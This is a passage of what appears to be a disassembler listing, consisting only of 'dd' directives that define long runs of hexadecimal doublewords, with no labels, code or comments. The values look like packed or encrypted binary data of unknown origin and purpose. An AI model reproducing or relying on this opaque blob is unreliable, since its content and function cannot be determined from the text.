7938E0C0h, 24FF4E5Ah, 164BE7D6h, 84AEE9D1h, 11D68228h dd 8ADF564Ah, 3E010A2Ch, 0D16CB115h, 4E35F550h, 9D96A14Dh dd 53029E6Ch, 7CB7685Eh, 806B18D5h, 9DE8AC40h, 5C2D9DFEh dd 0E95F41DBh, 0E556C52h, 0E976BEBFh, 2D167123h, 7902FAF0h dd 160A748h, 0D09B8FF5h, 9BC8FE4Bh, 5600B85Ch, 0ED048117h dd 0AA925AE9h, 2E652288h, 1DC8854h, 2B7533C5h, 0F90C8734h dd 0AB7FCF10h, 86388CDh, 560FE904h, 16CAF388h, 6A7961h dd 28553B24h, 542CE948h, 988B6445h, 0B1409852h, 0DD7BE5Dh dd 610BA1C9h, 0C0F1E028h, 4F166815h, 0B3531617h, 7CE59F04h dd 8AB9EC12h, 5A8A284h, 0F04F46B0h, 0CCBC5B65h, 66D6B7C0h dd 60E31768h, 0C788D3EAh, 49341E05h, 0E2ABCC39h, 4A775E16h dd 2E0E865Bh, 59223BDh, 0BCEA05B6h, 0FA2FB876h, 7E5A3304h dd 0B20675EBh, 7BF217E1h, 6815F7E2h, 277D88C3h, 0B7D2B391h dd 211E2B02h, 7E505911h, 5D4EC03Eh, 0B8052BDDh, 42F8033Ah dd 0B073EEE8h, 4C8F2D65h, 4400295Fh, 4D56A58h, 82C91F4Eh dd 0E6D12AF4h, 3EFEC501h, 83BA61D6h, 2577D279h, 0EF205047h dd 6BA4FDD9h, 24FA65B0h, 5DF7235Fh, 0C72BD7Fh, 0E209DA98h dd 413C961h, 57011E78h, 0C04333BFh, 6CC8472Eh, 0EA81094Fh dd 0DDBBC255h, 2EC19352h, 777A2931h, 5DFE8742h, 8400AACCh dd 4328E057h, 0E10753E9h, 0B062F2C2h, 3A0C5027h, 9D791713h dd 95AF0027h, 29BC244Ch, 0EE9EC94h, 2C7E4139h, 0D4206B79h dd 0EAF85A34h, 3A42642Dh, 66802DFh, 0F4E84EF7h, 0E8555487h dd 58BE4084h, 0D57C0125h, 29E92D30h, 0F5B18754h, 0BADF5A0Fh dd 707B6B79h, 5F01F294h, 932BE3D8h, 0C1EB2C94h, 6A514FBFh dd 7129BC4h, 0AAD3ABA8h, 77F2E513h, 7FD80FA2h, 2685501h dd 5D2D9036h, 98ABFC3Eh, 0D635FD0Ch, 5F912C1Ah, 0C1C12ECFh dd 29406A5Ch, 1695842Eh, 53D4FB08h, 2A1421C4h, 6FA14A27h dd 8AC1F73Eh, 3CB0AB73h, 14C3B79h, 58C32123h, 885DAD68h dd 0AF72444Dh, 0D15EF5F8h, 8EBAAA13h, 9AB82F7Fh, 0B1847F8Eh dd 7C9EA657h, 659D475Ah, 26846EDh, 68340E4Bh, 0CC31712Ch dd 0E443585Bh, 0AA724CB4h, 0F7680131h, 5FF83362h, 0E0000DA8h dd 814D7B71h, 2D3BEFCFh, 0CEE93E1Ah, 0ADAFAE5Eh, 0AF790CA3h dd 4A44D254h, 4FE3E4F3h, 0C0AB3827h, 30485572h, 590C7D7Ah dd 0F36996D4h, 386057FAh, 0E913FD29h, 31C87CBBh, 90B97251h dd 0FE624C4Dh, 231F405h, 0CBEA006Ch, 516D3320h, 0D7AC5850h dd 9D206541h, 6F5BB663h, 79F0A5C9h, 0B9F9BA4Eh, 0CD7291Fh dd 0E1FD7B60h, 3628F8C2h, 5F41778Fh, 5BFE8203h, 4112265h dd 6EBAD6ADh, 0E3CD1429h, 38426887h, 59E27D45h, 45720F92h dd 6630CD20h, 0F6C76BEAh, 0B5A29A4Ah, 3829D789h, 0E994C1DFh dd 0BF4ABF3Ch, 0BD558FD0h, 2C211E27h, 30EB5B6Dh, 0CA0BAA98h dd 7AEC524Bh, 0F8B3904Fh, 94258A1Ah, 20996431h, 590E482Dh dd 135E5D68h, 40A58BEAh, 7126B496h, 880E9966h, 109354E2h dd 5825054Dh, 0E44B73C8h, 7ECE3B2Dh, 7AA030E0h, 51209245h dd 0C5E92D21h, 0DE31EB83h, 0FF56F390h, 5E6836B0h, 0B2300B0Eh dd 9FC56BB1h, 805D1C8Bh, 712D0F90h, 7EF7E62Eh, 31A717CFh dd 5C280BC3h, 684F1875h, 0F7464840h, 8D0454CBh, 0F2810050h dd 988865DCh, 646B25BFh, 5951595Ch, 0CE31162Fh, 7FB44F6Fh dd 0BAE85B2Fh, 5C225169h, 0E18C92D6h, 0D72758DCh, 0D94DA16h dd 689277E9h, 0EBABF9D5h, 0CDE98840h, 1CF8974Eh, 0D0FC81C5h dd 5546DFBFh, 5B103A4Fh, 4FCA01A7h, 0C7010D4Ch, 90F7FB30h dd 0D60B82DAh, 63FE4248h, 9CCBB900h, 29CE7ADFh, 2F6D99A3h dd 5EA0C22h, 0F1606CD4h, 9F60EC71h, 3A27BCF0h, 81F95986h dd 0A9366B68h, 0F7017065h, 0F311520Dh, 91132A73h, 8A1EBB68h dd 0E56E4045h, 0CA21137Dh, 30000044h, 553C356Ah, 250BD190h dd 60773B26h, 5F0DE9DEh, 7DDDD192h, 87086E38h, 0F258200Ah dd 3A984143h, 0DDC377C1h, 53A7E220h, 1262B837h, 14558AF5h dd 5B31F8C7h, 0FA1CA485h, 0D0215F1Eh, 0F1C377C9h, 0CF78881Bh dd 703EBB01h, 8CE83F2Fh, 0B8E3D694h, 3D19F3Ah, 1F01C513h dd 6734440Dh, 0AD8DFA7Dh, 75A5F0A8h, 4BEEA859h, 61252456h dd 2BA10263h, 7AD71EBAh, 149E02D6h, 4CE9230Fh, 7425C354h dd 0EF9ABCF7h, 0E561129Bh, 2DCE3B40h, 0C188510Bh, 652704FCh dd 0BB530849h, 1305D749h, 0AF6EE87h, 89D8881Ch, 0D6795801h dd 0C56FC718h, 1A0E168Dh, 3BD90134h, 2B726675h, 5BD144B0h dd 0CCDAFC06h, 26C76E52h, 0B70A93Ch, 7A9C08EBh, 98D3A220h dd 0BB5F5F1Dh, 50C4AE35h, 0C1A9BFBh, 40EA70E9h, 995E9505h dd 0C5895D05h, 839692EDh, 0E998D128h, 92B503ADh, 1ECAC1A6h dd 0FBFB264h, 7F15080Ch, 9B221D49h, 4AE5EFD1h, 0A94AE98Bh dd 0A7A7F09h, 2ED36B4Bh, 7DE99D99h, 0B8773D07h, 6819B22Eh dd 5BE1967Dh, 0A721BA5Ch, 0B333F8Dh, 2CE74F73h, 7158D640h dd 0E1007E13h, 6B437B44h, 0C09197E9h, 9FABD26h, 0D7F5631Dh dd 4DF6FBB5h, 5B4C1A10h, 0E75D16B4h, 0C37F01EDh, 73CFE12Fh dd 2E0A3536h, 7D271068h, 0F67EA342h, 60C0880Ah, 6026DE2Dh dd 432241EDh, 91F9155Eh, 0B27A0841h, 418D9269h, 78ADA361h dd 64466141h, 0FA0FC654h, 0C598887Ah, 28EE0BB8h, 3958A589h dd 8EBC92D2h, 569D680Ah, 187A465Ah, 5161A7A2h, 4068507h dd 0ABCEBD1h, 5B3278D4h, 2CE1081Ch, 6534AA88h, 63093B17h dd 167EC9A0h, 125F06Ch, 1B0C1EE1h, 94836077h, 1F513302h dd 615BDA89h, 246ABDE9h, 0A0D8EBA4h, 2582BE48h, 765A2454h dd 28B8BB20h, 1FCEFA4Eh, 3428AF5Eh, 0D97D8283h, 0EB254609h dd 0AAAFD79Dh, 0BCA90649h, 0C92CDBD7h, 69B9595Dh, 78AE500h dd 52B071ADh, 4831FE0Bh, 48AF7D30h, 3499AEB5h, 0BE18BA58h dd 42669352h, 92C009F8h, 5869397Ch, 3CF8E92Eh, 90BB5C96h dd 3278A67h, 290F2D5Ch, 754B9D2Eh, 0B1C90804h, 16E03BFEh dd 0C33C16D3h, 0E7400040h, 31DC1C85h, 0C459C825h, 6DBF3899h dd 15A6C96h, 0C936026Ah dd 62E7D867h, 40A82A17h, 106911B4h, 4A7C376Bh, 66C96FBDh dd 0DAD6F82Dh, 0DD802871h, 0E94DEE34h, 2498FD35h, 7C024E4Fh dd 0F69F91F6h, 57276Dh, 0B4BA52EFh, 758D2561h, 6DD25850h dd 0E91F0C0Bh, 5F3FD280h, 4E740B2Ch, 0C8F7EF5Ah, 894EBA3Eh dd 0C09794BDh, 0A911F783h, 0B485C9Dh, 0FF1A07CCh, 0FF56A9FDh dd 0BBAC7EE7h, 0E045E2h, 807BB652h, 0F5E0AC98h, 6AFFC5EAh dd 0B65ACEE3h, 587B1CC6h, 7E13F725h, 67707FD2h, 90305A76h dd 1CACF97h, 7BC0092Ch, 0C88BDAF7h, 83F7FF8Bh, 0D1C28954h dd 0D73B6112h, 25C3728Ch, 5BD9A2D5h, 585AD752h, 2EE8979h dd 0CCBA824Bh, 49B15A89h, 80E55969h, 54992D5Ah, 64D46D06h dd 0F8084479h, 685D5F04h, 31EE1D16h, 0C202B8C3h, 3AA75811h dd 796B6979h, 0E877A5F4h, 803C8D2Eh, 4800E1BEh, 0E681415Dh dd 48CA1095h, 0B0ED312h, 0FF767320h, 92656E81h, 2DD0F993h dd 4C7C6BB1h, 40985E91h, 0E613B988h, 0DD4C3154h, 0DBCD0075h dd 0E91C512Ch, 28D567A6h, 885CEB88h, 62EA29CFh, 9B78FF32h dd 0EAA82EF5h, 0AC4EE9B8h, 45EAB212h, 45D70D93h, 0FA2DC8EAh dd 0E1A25553h, 0D7D0B1CFh, 68F0DCBBh, 714CB227h, 40798260h dd 0B38F14D2h, 0CCC299F8h, 12F37C12h, 8C150BFh, 5535B12h dd 806C115Fh, 76A7E9CBh, 88514196h, 0AC04D63Ch, 0FC64B753h dd 0C4CF169Eh, 0C160C4BFh, 7A5BF846h, 868A6D09h, 0F8E7A655h dd 2D1E0405h, 0AA5F4A6Bh, 41851A2Ch, 0F05E9B72h, 40C5C550h dd 85B5B892h, 912CEFC1h, 1020F7C0h, 0CC5F5B11h, 68B5FE84h dd 0BD3B57E6h, 334246F4h, 0F8965F72h, 0F83A74BDh, 8080E0E4h dd 90BA78EAh, 798B9D5Fh, 0D1949E16h, 47DB53Eh, 0E9B2D8ABh dd 0F4570CAAh, 14755AD1h, 50E92543h, 0BB59EF84h, 0F6B161FCh dd 1DBB0074h, 321C2D62h, 0CB8018F6h, 4CBF68D0h, 48BE0056h dd 0E92CC14Bh, 0C7B71730h, 2A173F6Bh, 71A942E3h, 8EF78A70h dd 364C82D1h, 0FC80E073h, 8D7F096Ch, 16D5EF29h, 0A6CF516Fh dd 7E410630h, 0B4EF5B3Fh, 8F7A68A2h, 0EEB24799h, 0B0D378DAh dd 0DEEABF70h, 0E2218661h, 6709677h, 514FE3F5h, 0CE019805h dd 572075D9h, 7D2C5F55h, 90604A47h, 39A056Ah, 2860C398h dd 7060EB17h, 0F7594FD8h, 0B2EAD2F4h, 2060C8F1h, 0E97AB5AEh dd 14951BDh, 0E13C6A35h, 7867E949h, 29FF4E51h, 75FE2E11h dd 246FED3h, 4363EECh, 5F44EABAh, 0F145FE7Fh, 37BD78B7h dd 0ADB53924h, 2309A854h, 0B77B55CBh, 4A446CADh, 28EE0990h dd 0CD80E083h, 6E87BBADh, 9BA87405h, 108ABDA0h, 183C3026h dd 3B288D03h, 9EB2003Dh, 31EA87E4h, 0C733E9CDh, 89C53F0Eh dd 0C42BCF56h, 8047BB78h, 0DDB10FBDh, 0F4CEF770h, 646E404Ah dd 0E4ED541Fh, 0F302007h, 0BDEE0C30h, 5231EE43h, 4BCEEAEBh dd 2E7DE3E0h, 0E912683Bh, 0E4D46E42h, 0B857DEA4h, 8B07F321h dd 1A4127C2h, 0A2FFC633h, 5E7677AFh, 1FAF48F5h, 9C062CFBh dd 5BFC89CFh, 0D408E25Ch, 54BE017Ah, 60751764h, 5513E85Eh dd 0AE4DEDh, 94FE756h, 0D660F710h, 11D76910h, 4BF2F4A6h dd 4A8AB35Eh, 2DA7DEF0h, 0B255BCE7h, 0ADEC5DABh, 90126820h dd 0B16D3345h, 7FA0F3E7h, 0C8946C88h, 3C184328h, 0F6983676h dd 0A6261849h, 42C20C78h, 0EB873550h, 1E2BF297h, 0A82D4EFBh dd 916D2FD2h, 7226964Ch, 509D3AE6h, 4520F4D7h, 97C381F3h dd 4A9C3A7Eh, 47B9FF67h, 46E8FA9Ah, 0BF3D0FAEh, 26E21222h dd 5CB5F2C8h, 0CA0BAC9Bh, 3101E828h, 0F15166D0h, 0EFFC6AD1h dd 5A0E2C02h, 0F97D4D68h, 0ACA4B9AEh, 7D12BE8Ch, 0E21D0043h dd 664B191Ch, 4A68A8B8h, 111EB106h, 0B4443C8h, 0CC50B3E9h dd 0FA5FB904h, 0DC44979h, 629121FBh, 1A343BD4h, 50A728EBh dd 0E7CB842h, 0CC01DBEEh, 1C6D25Ch, 0D10F8071h, 0EA95205Dh dd 0E9BD5650h, 0FC0C15Eh, 27437FBDh, 0BEDE62ADh, 11DE7501h dd 7E090Ah, 7EB2E614h, 5CC06BC9h, 5BFFD866h, 56783C05h dd 0F0293D05h, 5E07092Dh, 4C6572DFh, 0A84E05Fh, 40BA16AFh dd 0C479C31Fh, 0A0FCB53Fh, 5B73849Dh, 0A6172CB3h, 844BF86Ah dd 570359C9h, 66BBC0BFh, 5DADEB0Fh, 0D629CBD3h, 0A0082010h dd 0B97D2820h, 8F58A745h, 8537F80Ch, 587C6240h, 40DEC577h dd 9A3B6FBBh, 6D62B92Eh, 0F6D9310Bh, 6AC7598Ah, 25C403D4h dd 30DFA1FFh, 1434E933h, 8CBD5845h, 0EF42D89h, 18A2CFBAh dd 2422F54Eh, 0B8322168h, 6E4268h, 83AF180h, 76A0CB4Eh dd 7D664847h, 5A42AE25h, 0E2BB5975h, 7455C28Dh, 0CB046907h dd 69B8AFB0h, 2991AEB5h, 0A505434Ah, 0F6EC3F97h, 3CDE6809h dd 8839B264h, 5BFD14C7h, 75BC4B30h, 73F68C2h, 0C265465Ch dd 5434B809h, 0B25F2D05h, 82717C56h, 3C8BF921h, 5A75565Dh dd 2028EE77h, 78BF0EDDh, 7C1C9752h, 0EA190F00h, 26D2250Bh dd 5641979h, 3F930A97h, 5DB01404h, 0E1C0113h, 6B24DC2Bh dd 8120B94h, 102889AEh, 0D4307D4h, 2580E927h, 9ADEF04h dd 89EC8B2Eh, 34F54DB0h, 5CE913E3h, 399C8874h, 737A0700h dd 72A61905h, 0C68912A8h, 4BE0BF58h, 5E704D84h, 934AB405h dd 860A853Bh, 0F30281D5h, 79B05351h, 345629h, 0EA1E7AEFh dd 0C7780103h, 580842E5h, 5A4AFC77h, 0BA4AA556h, 5732B88h dd 0B8F1315Ah, 0E1C8B2ADh, 0F1E6499Fh, 4F98846Ah, 0F71DC0F8h dd 0F4266906h, 9A023D57h, 0C10A0C26h, 0FD9D987Fh, 4182D8DDh dd 3B4E7568h, 7284398Dh, 1422B9E9h, 62E301E0h, 0F7314035h dd 0B47893A7h, 96B4D797h, 0C125DC9Fh, 2ECC6EE9h, 0BBC627BBh dd 2DD0A229h, 5CE43B7h, 0D95DE16Eh, 37FB0176h, 306FB30Fh dd 670BE592h, 804F644Bh, 1656EF15h, 0A6C3B507h, 4AFC9A4Ch dd 0CCFE95C0h, 1FEC3980h, 0BED9F492h, 0A22F31E2h, 0D7DCBDCAh dd 9253EC59h, 6C72B709h, 5220DD7Fh, 83C16639h, 3AD5313Fh dd 0C832EA69h, 17105FA6h, 0A3D317Dh, 2A351D4Dh, 0F4C4BA33h dd 45C055E8h, 5E776446h, 602E5E95h, 50C35122h, 4285574Ah dd 131743E0h, 3537527h, 0A9339D3Fh, 1405BAF4h, 0CCBA66CEh dd 0EE4DF145h, 2C605B43h, 2C8060B5h, 3FAB05C5h, 0CDB7530Bh dd 20B4B521h, 0E4BF05EFh, 0E913392Eh, 71B38F87h, 0EFA88B9Fh dd 0B322CEC5h, 58926849h, 4CD21020h, 0C965BD1Fh, 0B554D36h dd 1DBF0201h, 0B0500130h, 8BC6D9A6h, 254576Bh, 0C843227h dd 20B5900Ch, 33D6C3ACh, 0BA744FDCh, 0E7F91213h, 89440E29h dd 0B9E86F67h, 0D3BF92ABh, 0E8C18786h, 0C01EE20Ch, 117A98D5h dd 537F82E5h, 0EFFA26C9h, 294E7D81h, 0D2F56A07h, 0F0C70806h dd 508897FEh, 0DE84EFF2h, 54E9BECAh, 43D16809h, 32D7E730h dd 82174824h, 0C8133802h, 36978F66h, 524F32BBh, 1B6C4457h dd 605E6C1h, 0ACBAC6EFh, 0E919EE04h, 1DCD65E3h, 0C01F3CE0h dd 0C262EDC1h, 0E0BFBF84h, 0BDDEF76Eh, 18FF8587h, 0FE6A3E00h dd 733A2D6Bh, 0A2FB4C0Ah, 0DC33752Fh, 7FF7E8D1h, 11B587B8h dd 0E240AE96h, 0A7104A02h, 0B5B95FDBh, 5338284h, 748EE388h dd 0CC0F624h, 0D2678E7h, 0C62D0CE0h, 0C0735E35h, 3FBF4BF8h dd 34AA294Eh, 0FA40C564h, 27F8F163h, 0FA817098h, 0C9F18951h dd 3896E9CDh, 0D26802EDh, 0E46AE471h, 7F48195h, 0B05E7633h dd 0CD40CF4Dh, 0A639092Dh, 60DD1D68h, 91FD4ACAh, 4CAD28C9h dd 977C1CB5h, 63D3D54h, 0D2F618EAh, 51073F0Ah, 0F989D825h dd 82F20487h, 90DE1355h dd 1A800885h, 606EE1FAh, 35806CF4h, 0FCFB73CFh, 58C20989h dd 0C57BDAF7h, 1203CA08h, 7087FF2Dh, 0E280650h, 3B4EBF0Ah dd 0E5BB2970h, 4F12FF3Ch, 98A4756Ch, 0EE49441h, 59E6E128h dd 0C8E08636h, 0F7894DDEh, 6FD97789h, 3CD1C56Fh, 5BABA6BBh dd 0F2E47DAEh, 67731678h, 6CB8AC4Bh, 3F9CED80h, 0E9742FC3h dd 5BB9665Bh, 1F1CEF84h, 0F4F6FB89h, 8BCB85FAh, 238EBF0Ch dd 0E125210h, 12069A68h, 92D3F3FFh, 1F01E1BCh, 0B861EF4Dh dd 890BAD1Bh, 0EE597FC0h, 0F0E95761h, 0C828F050h, 8B806F2Ch dd 8BA6959Fh, 11C7CE02h, 9F804342h, 10980C35h, 4B5FE913h dd 7C80A85Fh, 0EE81F017h, 7A4D1348h, 3AF3FC34h, 7BDC046h dd 65331E59h, 0FC98B245h, 24478168h, 0C40E4049h, 0CFE4C5E5h dd 0D61A161Dh, 0F4B3F569h, 5858A79Ch, 96521838h, 2DDB828h dd 686D475Eh, 0BCE6314Bh, 0F3E9534Bh, 135E2F84h, 8B4A11FDh dd 0CAA33933h, 0D315A8A3h, 0F93FB328h, 604F3E97h, 0EFCA809Ch dd 0FF169991h, 0F545513h, 7AED25B8h, 11E59DEFh, 0DE0C2880h dd 4F38E926h, 3ADB40D7h, 8168C467h, 7E2F604h, 17BF3943h dd 7C074480h, 77B116C6h, 82561A30h, 27F9E47Fh, 0CF224936h dd 68019431h, 405528EAh, 688353B2h, 0BA8473E9h, 7F8B5FF2h dd 625E34A7h, 35DA8DF9h, 2974C205h, 43FA487Dh, 6F0FF203h dd 0FB4876BAh, 3D28FBC2h, 0EA048299h, 0E3695EC7h, 535DC1EBh dd 6C8F7A77h, 0C5ECB24Ah, 0F3FE9E8Fh, 30AF10B6h, 29DCAC25h dd 0C5250D58h, 89DC9A3Bh, 89EC3FDAh, 6AC9B04Bh, 0DF1A446Bh dd 0D7989516h, 0DB0EC725h, 0DABF800Fh, 0E92DCA10h, 5B692330h dd 3D1FBACBh, 449650CFh, 0D863A859h, 82A61214h, 0F02D9374h dd 1105090Bh, 772BFAh, 0B522C6ABh, 8C5C9F1Bh, 0A61E3902h dd 0B6E6006Dh, 0FAB78A92h, 0F47FFF5Dh, 727E947h, 36671D9h dd 0F68E1F7h, 65BFB84Ah, 17CDFDD0h, 76ECCD4Ch, 0A4300BC4h dd 0C7098182h, 418D6F7Bh, 2800B097h, 720304D0h, 0B652665Ah dd 0B7F0CB71h, 0B742FD89h, 31658774h, 0ACC013C5h, 16676ABAh dd 1C4A5ED1h, 6B10CFE6h, 0D5872DE0h, 312E169Bh, 3370EDC2h dd 0C09883B1h, 769DCB28h, 31AB6238h, 67C9BDA0h, 1B482514h dd 581F7D68h, 853A2A7Fh, 124D38DEh, 0BEE0D0BBh, 557E345Fh dd 16AF102h, 62313058h, 9E545FA0h, 173BAF48h, 0A910E40Fh dd 8C728C6h, 0DEA84F9Bh, 20429089h, 2C16E476h, 8BD24CCAh dd 0A590563Fh, 0DC83CC60h, 501F8627h, 9D369631h, 0E55B9429h dd 5B446910h, 68036EC0h, 0CC434A31h, 3B12E670h, 381C0844h dd 0BD7FC9h, 0E905EBBEh, 289BA20h, 0D64443B9h, 21DD512Ah dd 79E9D167h, 5800DB78h, 337A6855h, 5D1F2A54h, 5BC9EA31h dd 3D146430h, 0E03D5557h, 9FDCE45Bh, 0D2FAAB4Ah, 0D3A93E63h dd 3A5FDCC9h, 2F9E4CD1h, 1388C7Ah, 0F7973FB8h, 96F753BAh dd 6AAB20D3h, 0BD875C60h, 1AE361BAh, 1D5B685Dh, 293864C1h dd 0DE8B39C7h, 6CD8E7E9h, 0DD273844h, 0EE03F502h, 0F988107h dd 0CDA0D904h, 7DC96CE3h, 26FCDEF0h, 4E948254h, 0FE5D44E0h dd 0B87849F7h, 1490375Fh, 2F19EAC5h, 0F6C23B9Bh, 6BA9F9F7h dd 14518D5Ch, 884D6909h, 0B2882D50h, 0D778EC94h, 12A42D5Ah dd 0AB3E1844h, 8BE50C1Ah, 577FD113h, 27549D40h, 90597DC4h dd 5F07812Ah, 189CCF00h, 0CD890B16h, 42D0F121h, 19CBD82Ch dd 749F1B58h, 0E440CB28h, 573009A9h, 2517D806h, 17F1A73h dd 8075EF1h, 56D9905Eh, 4F138D68h, 73F04A1Eh, 0B512F251h dd 2584FDE2h, 0ACA7B0EBh, 0DDD83026h, 9F0B658h, 0F23CE951h dd 0F8103929h, 0D7972DB7h, 0D3273196h, 0A5CAD95Ah, 77D836Ch dd 0D6405A81h, 5EC9554Ch, 1250943Dh, 334F1B08h, 0E9D85204h dd 0D9EE4AA4h, 51F5CA2Dh, 4F6A6286h, 0B207109h, 0CC203F29h dd 0C4FECC88h, 0E35C30E9h, 0B83A82F3h, 60F65268h, 81C924B3h dd 9FB75054h, 4A5B157Dh, 71CEEEB4h, 85CD4B40h, 7B64054Eh dd 4CC8C020h, 1524D112h, 0D210304Eh, 0C89BB38h, 8D136F5h dd 95FDD82Dh, 809791F2h, 61E956BDh, 40A396BBh, 0C3427BFh dd 6C814813h, 6E4489FFh, 0D24473B5h, 0D55E5292h, 0EB5C3A6Ch dd 0B09E2046h, 5647387h, 0D5286CC2h, 1AA6EF5Ah, 72E95305h dd 0E349FB10h, 217D0056h, 98402645h, 503AEEB9h, 5DFC8F9Ch dd 89273F0Ch, 5FFDC7E0h, 0D7C219B1h, 0D0C40B96h, 45ED9F5h dd 93D6D2FEh, 0C3D5A84Ah, 6510C1BAh, 0E813F976h, 0D3DA44A0h dd 0AD83BF87h, 50EDBDE2h, 5B4B9F22h, 7DA82146h, 2FD77753h dd 2D5C5721h, 426469EFh, 0A8EE5485h, 3D680336h, 0D8F709ACh dd 0EBA6E9D8h, 1EB6BA80h, 8C206E2Bh, 0F8BF24EDh, 565FA3C5h dd 0C977E7FBh, 16EC5D5Ch, 6866BE80h, 0D1AFFC4Ah, 21D2B4D4h dd 57A4F24Bh, 1C4BF802h, 0C3C95BC1h, 8C787777h, 0A0F62FEBh dd 0B8C16717h, 7C28F1C5h, 402FB32Bh, 69826DACh, 0B0212108h dd 0B60470CAh, 6A7B03D0h, 2CE1024Ch, 7969CDh, 35194E89h dd 173FE281h, 91ED318h, 6F56B8B1h, 0C54F3550h, 0A3CAB781h dd 66B2970Bh, 2596031Ah, 923A9E81h, 8E0D704Eh, 3004551Eh dd 0D0B0E7D7h, 796C68Fh, 122F6919h, 0EB57D901h, 8CCCD7Fh dd 0F5257527h, 0E1203665h, 8A9830A0h, 67E7C080h, 0B4070606h dd 1731A83Bh, 0A1A68268h, 7222F904h, 5588548h, 0EB878456h dd 1254D6CCh, 53704D06h, 0BCDCFB88h, 27402D68h, 757A5B7Ch dd 0D5621C5Eh, 0C5227D08h, 1D72D48Bh, 22F5969h, 0FF6A6DBh dd 68F0435Fh, 0FF34138Eh, 51C09BABh, 2667B0EDh, 1F057BEBh dd 0AFD5EFFEh, 28F2E17Bh, 78308740h, 50B40CEAh, 0A00C7BCAh dd 0D6AE5113h, 9EBCF952h, 0B58384A5h, 0BFFDE7BBh, 73315CD3h dd 4B7E860Ch, 415A8695h, 0E15B4A1Bh, 795CC4C0h, 3DFA2AE1h dd 0A9F32BE9h, 4C0E2D6h, 47327738h, 6FA609FAh, 0DD25AD7Ch dd 587F21B2h, 0C286B1DFh, 58D2533Bh, 4B318020h, 5F41CB01h dd 3EFE29ABh, 1CE021EAh, 504AAF2Ah, 63084974h, 89D68D52h dd 2A50402Ah, 704C6062h, 12DE4CC6h, 0C800CD5Dh, 3CB61C91h dd 90A38E9h, 49DAFB4Ah, 0AC22324Bh, 43D35F4h, 44E64BA6h dd 9682B0h, 812DD50Dh, 28AE41EFh, 730B0A4Bh, 0AE7A5421h dd 0CBE987CDh, 7377097Ch, 61340ECAh, 0C54141Ch, 2B136883h dd 0C9417F16h, 639733EFh, 97FCEBAEh, 21FB375Bh, 1298438h dd 6D715BB8h, 4D225DF2h, 5EDCFCD0h, 791BF462h, 5B90BCF1h dd 8FB04B26h, 418C2968h, 0EA5A96EBh, 0B92F0669h, 79EA31Fh dd 58C20179h, 2C43C83h, 1243D5Ah, 680911E8h, 0AD14534h dd 3DBC34BAh, 6BFE80EAh, 154FB00Eh, 0E96F0FF1h, 0F9AFE488h dd 28F910A2h, 0FFC9B917h, 8193741Eh, 4D735FBh, 175626E5h dd 0D2E4C1AEh, 5A5C3479h, 49B9785Eh, 2419ADF4h, 0D87984Eh dd 820935D1h, 7D72A5C6h, 0EBF69F6Eh, 4379059Dh, 51892AFh dd 0DAD44D5h, 3DAD76A0h, 0CC906B88h, 266711E1h, 3E2F0BC4h dd 270FBE84h, 47FDC310h, 0ECEFD891h, 0FC954F5Eh, 0EA05C59Ah dd 0A92D5447h, 1436E20h, 0F36816D8h, 15CE8D4Dh, 8BFF0B0Fh dd 16BB4620h, 23609B4Fh, 3BC4789Ch, 0DA009518h, 65E6856h dd 4B1B193Ah, 2F352EFh, 0C2496A86h, 7E2B7C0h, 0BEA7F6B5h dd 5AA4E12h, 825AD14Fh, 68E1CBC3h, 0A7D32B8Bh, 90BB4B01h dd 3843EDFEh, 0F1294914h, 59312D8Ah, 5350C013h, 0B0072EB7h dd 5BF83064h, 33E94BA1h dd 652B122Ah, 10C8AD62h, 0FF2E28F3h, 0C8192519h, 8A41C8B9h dd 0F0E96E1Eh, 15E59C6Fh, 0A31DCF68h, 0B43CAD81h, 61C02A17h dd 60EC2722h, 1C960C3Fh, 82907503h, 0EAC5DF60h, 69B62BD4h dd 8B070C1Dh, 0F1FCBB0Bh, 955BDF8Dh, 82375C20h, 0F366B761h dd 7C5E0C2Fh, 6407D078h, 5A8E5A81h, 4A291D9Ah, 49874C80h dd 0CC15923h, 6608195Ch, 666B56Bh, 14810C08h, 84A63E5Ah dd 0E4B13712h, 78092D04h, 0F7515FD1h, 5AD77BE0h, 2BF34DB8h dd 805620FEh, 681301F5h, 0DE302539h, 2FE977B0h, 2BFF33A9h dd 5A9BF5F1h, 2A7C38F1h, 134A92E6h, 702DBBA6h, 77FB8047h dd 0ED60FD1Ah, 7CBD4AEAh, 0E3044B49h, 3B64FFC8h, 2F6869C8h dd 0AD931F9h, 0DC5F2962h, 36E941C0h, 0CCD06BC7h, 5A2BC380h dd 13BE0666h, 0D021A4Dh, 2A7D7CA6h, 25A08851h, 0A3C58913h dd 1C054080h, 0F690E080h, 5ACDF8C1h, 0D0D9D18Fh, 80CE7B3Bh dd 0B4F8913h, 0B25D0238h, 279F6CFCh, 3BC832C5h, 71017D8Bh dd 0D039BB0Fh, 0D13A29D4h, 1778F83h, 57C67668h, 0E9C1B29Ah dd 22BB0052h, 0EC362D9Eh, 0E1F08082h, 36735F29h, 0B6827D2Dh dd 26572E05h, 106BC81h, 88536601h, 0D1D7F6F7h, 866121FEh dd 284FB714h, 73E91511h, 61488058h, 9A021507h, 30B1C254h dd 89695D76h, 2FED26Fh, 292D371Ch, 5531D331h, 52B48342h dd 3D107D5Dh, 0DA97E89Bh, 4890BEE5h, 0FCC2B4F1h, 68F582D8h dd 637CE977h, 75BA2690h, 0A42BD7CFh, 1F4AFCCAh, 0A50A552Dh dd 78169513h, 0B6B0D85Eh, 114FBEh, 5864BD7Ah, 0DD29EF79h dd 0B54DE930h, 0F1D1D9F7h, 0D677A83h, 0C8067308h, 5CA9113Bh dd 3955030Ch, 0CA293E7Ah, 0A0089641h, 0E927140Ch, 0D5CD8BDFh dd 276B16C5h, 0E22E014Fh, 51CD685Bh, 9E4A0C9h, 1BD869F8h dd 7982CFF6h, 0FD3A742Ah, 0C20F07Bh, 0E1885D4Ch, 48180512h dd 0C1EC2527h, 7FD6989Bh, 0FD95D1C6h, 25CAE213h, 93E87754h dd 5201B922h, 0B01BA368h, 0E0825A1Eh, 1240083Eh, 7627E4E0h dd 6A31E12Fh, 74080925h, 765F5A37h, 0A5F769D2h, 0CA1E012Ch dd 0BD7704EFh, 3140B0BFh, 0F05DFDC9h, 13AF4AE1h, 2C8BFA08h dd 9E85E909h, 0B613F6E4h, 54E853F6h, 251E0310h, 0BD655D52h dd 6684DB0h, 69669579h, 8E329C80h, 0B055E80h, 61F878E6h dd 0E2DE205h, 0CBCF5B07h, 0FB55CA44h, 80367D4h, 44209E9h dd 0CD27DCD9h, 0C2D6873Fh, 5BF78E7Fh, 9168413Dh, 4FDB8932h dd 8C7157ADh, 7E6C7549h, 2A2E9B02h, 